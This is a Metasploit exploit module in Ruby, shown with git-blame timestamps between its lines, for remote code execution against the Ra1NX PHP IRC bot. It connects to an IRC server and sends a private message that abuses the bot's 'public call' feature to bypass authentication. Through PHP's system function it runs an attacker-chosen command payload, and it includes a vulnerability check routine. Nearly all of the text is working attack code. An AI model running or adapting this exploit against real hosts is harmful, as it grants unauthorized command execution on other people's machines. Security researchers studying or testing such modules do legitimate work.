2013-03-25 04:01:20 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-03-25 04:01:20 +00:00
|
|
|
##
|
|
|
|
|
2013-03-24 18:59:27 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module allows remote command execution on the PHP IRC bot Ra1NX by
|
|
|
|
using the public call feature in private message to covertly bypass the
|
|
|
|
authentication system.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '91663'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
|
|
|
|
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
|
|
|
|
['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
|
|
|
|
],
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ unix win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 344,
|
|
|
|
'BadChars' => '',
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd'
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Ra1NX / Unix', { 'Platform' => 'unix' } ],
|
|
|
|
['Ra1NX / Windows', { 'Platform' => 'win' } ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Mar 24 2013',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(6667),
|
|
|
|
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
|
|
|
|
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
|
|
|
|
OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
|
|
|
|
OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def connect_irc
|
|
|
|
print_status("#{rhost}:#{rport} - Connecting to IRC server...")
|
|
|
|
connect
|
|
|
|
|
|
|
|
data = ""
|
|
|
|
begin
|
|
|
|
read_data = sock.get_once(-1, 1)
|
|
|
|
while not read_data.nil?
|
|
|
|
data << read_data
|
|
|
|
read_data = sock.get_once(-1, 1)
|
|
|
|
end
|
|
|
|
rescue EOFError
|
|
|
|
end
|
|
|
|
|
|
|
|
if data and data =~ /020.*wait/
|
|
|
|
print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
|
|
|
|
select(nil, nil, nil, 3)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect_irc
|
|
|
|
|
|
|
|
response = register(sock)
|
|
|
|
if response =~ /463/ or response =~ /464/
|
2014-01-21 19:03:36 +00:00
|
|
|
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
|
2013-08-30 21:28:54 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
confirm_string = rand_text_alpha(8)
|
|
|
|
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
|
|
|
|
|
|
|
|
quit(sock)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if response =~ /#{confirm_string}/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def send_msg(sock, data)
|
|
|
|
sock.put(data)
|
|
|
|
data = ""
|
|
|
|
begin
|
|
|
|
read_data = sock.get_once(-1, 1)
|
|
|
|
while not read_data.nil?
|
|
|
|
data << read_data
|
|
|
|
read_data = sock.get_once(-1, 1)
|
|
|
|
end
|
|
|
|
rescue EOFError
|
|
|
|
end
|
|
|
|
data
|
|
|
|
end
|
|
|
|
|
|
|
|
def register(sock)
|
|
|
|
msg = ""
|
|
|
|
|
|
|
|
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
|
|
|
|
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
|
|
|
|
end
|
|
|
|
|
|
|
|
if datastore['NICK'].length > 9
|
|
|
|
nick = rand_text_alpha(9)
|
|
|
|
print_error("The nick is longer than 9 characters, using #{nick}")
|
|
|
|
else
|
|
|
|
nick = datastore['NICK']
|
|
|
|
end
|
|
|
|
|
|
|
|
msg << "NICK #{nick}\r\n"
|
|
|
|
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
|
|
|
|
|
|
|
|
response = send_msg(sock,msg)
|
|
|
|
return response
|
|
|
|
end
|
|
|
|
|
|
|
|
def ra1nx_command(sock)
|
|
|
|
encoded = payload.encoded
|
|
|
|
command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
|
|
|
|
response = send_msg(sock, command_msg)
|
|
|
|
return response
|
|
|
|
end
|
|
|
|
|
|
|
|
def quit(sock)
|
|
|
|
quit_msg = "QUIT :bye bye\r\n"
|
|
|
|
sock.put(quit_msg)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_irc
|
|
|
|
|
|
|
|
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
|
|
|
|
response = register(sock)
|
|
|
|
if response =~ /463/ or response =~ /464/
|
|
|
|
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
|
|
|
|
ra1nx_command(sock)
|
|
|
|
|
|
|
|
quit(sock)
|
|
|
|
disconnect
|
|
|
|
end
|
2013-03-24 18:59:27 +00:00
|
|
|
end
|